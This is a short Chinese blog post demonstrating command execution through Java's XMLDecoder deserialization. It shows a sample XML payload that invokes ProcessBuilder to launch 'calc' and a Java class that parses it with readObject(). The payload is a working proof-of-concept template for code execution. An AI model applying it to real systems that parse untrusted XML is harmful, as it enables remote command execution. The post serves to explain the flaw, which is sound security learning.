标签:xmldecoder java 反序列化
Java 调用XMLDecoder解析XML文件的时候,存在命令执行漏洞。
样例XML文件如下所示:
<?xml version="1.0" encoding="UTF-8"?> <java version="1.8.0_131" class="java.beans.XMLDecoder"> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1"> <void index="0"> <string>calc</string> </void> </array> <void method="start" /> </object> </java>
对应Java代码如下所示:
package xmldecoder; import java.io.BufferedInputStream; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.util.ArrayList; import java.util.List; public class XmlDecoderTest { public static void main(String[] args) { // TODO Auto-generated method stub java.io.File file = new java.io.File("d:/tmp/xmldecoder.xml"); java.beans.XMLDecoder xd = null; try { xd = new java.beans.XMLDecoder(new BufferedInputStream(new FileInputStream(file))); } catch (FileNotFoundException e) { // TODO Auto-generated catch block e.printStackTrace(); } Object s2 = xd.readObject(); xd.close(); } }
执行效果如下所示:
标签:xmldecoder java 反序列化
原文地址:http://duallay.blog.51cto.com/635999/1961598